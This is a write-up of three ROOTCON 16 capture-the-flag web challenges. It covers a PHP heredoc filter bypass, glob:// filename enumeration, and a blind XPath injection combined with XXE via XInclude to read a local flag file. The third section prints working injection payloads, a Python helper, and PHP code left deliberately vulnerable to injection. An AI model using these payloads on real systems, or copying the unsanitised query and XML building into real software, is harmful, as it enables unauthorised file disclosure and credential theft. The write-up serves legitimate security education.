arrow-left arrow-right brightness-2 chevron-left chevron-right circle-half-full dots-horizontal facebook-box facebook loader magnify menu-down rss-box star twitter-box twitter white-balance-sunny window-close
ROOTCON 16 CTF WEB WRITEUP
5 min read

ROOTCON 16 CTF WEB WRITEUP

ROOTCON 16 CTF WEB WRITEUP

Challenges

Enough

Category: Web Exploitation
Difficulty: Easy
Score: 100

The challenge is to submit the string "pwndemanila", but with a string length of 20 and you are not allowed to use the following characters `$*#:\\"'().>.

In PHP, there are four different ways to specify a string.

  • Single-Quoted
  • Double-Quoted
  • Heredoc Syntax
  • Nowdoc Syntax

We normally use the single and double quote around a string, but it is also possible to use the heredoc and nowdoc syntax to specify a string.

heredoc example

<?php
echo <<<TEST
This is a test.
TEST;

nowdoc example

<?php
echo <<<'TEST'
This is a test.
TEST;

The only difference between these two is that you can use non-quoted or double-quoted strings in heredoc but only single-quoted strings in nowdoc.

So to solve the challenge, you need to submit the following heredoc syntax:

<?php
echo <<<a
pwndemanila
a;

URL-encode that syntax and you should get <<<a%0Apwndemanila%0Aa;%0A. Technically, the length of the string is only 20 characters, not 26. The %0A is a line feed, which is the same as newline or \n.

By appending that string as the value of the payload parameter, the flag will be displayed.

¯\_(ツ)_/¯

Category: Web Exploitation
Difficulty: Medium
Score: 250

The challenge is very straightforward. You only need to identify the missing characters in /flag[a-fA-F0-9]{33}.pdm and use it to obtain the flag.

The question is, how will you do it?

If you carefully read the source code, you will notice a class called DirectoryIterator. It provides a simple interface for viewing the contents of filesystem directories. This challenge makes use of the getSize() function to determine the size of files in a directory.

So, by simply passing /, which is equivalent to the root directory, as the value for the x parameter, the website will display the file sizes of files in the specified directory.

But again, if you don't know the complete filename of the flag file, you won't be able to access it directly.

So to solve this challenge, you can use the glob:// protocol.

Based on the PHP example, you can use the wildcard * to determine the file size of files in a specified directory.

To begin identifying the filename, enter the following data: glob:///*.pdm, which will return the file size of a file with an extension of .pdm.

If you insert a character after the root directory and the character is part of the file name, the file size will be returned. Otherwise, it will return nothing.

We can loop the process until we identify all the characters of the file name using this behavior of displaying the file size for every correct character.

To semi-automate or fully-automate the process, you can use BurpSuite's Intruder or write your own script.

BurpSuite

Python Script

ROOTCON Admin???

Category: Web Exploitation
Difficulty: Hard
Score: 500

The challenge is to get the flag using admin's credential.

Login Process
The web application for this challenge allows users to perform login actions. Each username, however, is rate limited to three failed login attempts.

$_SESSION['failed_login_'.$username] = $_SESSION['failed_login_'.$username] + 1;

if($_SESSION['failed_login_'.$username] >= 3){ 
  $this->banUser($username);
}

After three failed login attempts, the web application will add the username to our ban list, which is saved in an XML file.

$banentry = $banfile->createDocumentFragment();
$banentry->appendXML('<username>'.$username.'</username>');
$banfile->documentElement->appendChild($banentry);
$banfile->save($banfileName);

Participants can either retrieve the content of the user database in order to login as admin and obtain the flag, or they can directly retrieve the content of the flag file saved in the root folder.

Vulnerabilities
The goal of this web challenge was to perform Blind XPath Injection and XXE Injection by leveraging the XInclude directive to include local files.

  • Blind XPath Injection
    The isUserBanned() function determines whether or not a username is banned. The variable $username is concatenated to the XPath query without any sanitization, making it vulnerable to injection attacks.
$elements = $xpath->query("//username[text() = '".$username."']");
  • XXE Injection
    The banUser() function bans the user who has exceeded the maximum number of login attempts. The variable $username is added to the XML without any sanitization in that function, allowing attackers to inject arbitrary XML tags.
$banentry = $banfile->createDocumentFragment();
$banentry->appendXML('<username>'.$username.'</username>');
$banfile->documentElement->appendChild($banentry);
$banfile->save($banfileName);
  • Use of XInclude directive
    The directive xinclude(0) was used within the banUser() function. The XInclude directive allows files to be parsed as text or xml. To launch an XInclude attack, you must first specify the XInclude namespace and the path to the local file that you want to include in the XML.
$banfile->xinclude(0);

Getting the Flag
Participants can obtain the flag by combining all of the vulnerabilities mentioned above.

Perform the normal login process to ban a simple user so that the ban list XML document can be created.

def createBannedUser(target):
    s = requests.Session()
    s.get(target,params = {'page':'login','username':'atom','password':'hsb'})
    s.get(target,params = {'page':'login','username':'atom','password':'hsb'})
    s.get(target,params = {'page':'login','username':'atom','password':'hsb'})
    s.get(target,params = {'page':'login','username':'atom','password':'hsb'})

Use XXE Injection with the XInclude directive to include the local file as a username, and then attempt three failed logins with that username to append the payload to the ban list XML document.

XIncludePayload = """<hsb xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="/flag"/></hsb>"""

To retrieve the included local file, use Blind XPath Injection.

payload = f"atom' and substring(//hsb,{i},1) = '{c}' or 'a' = 'b"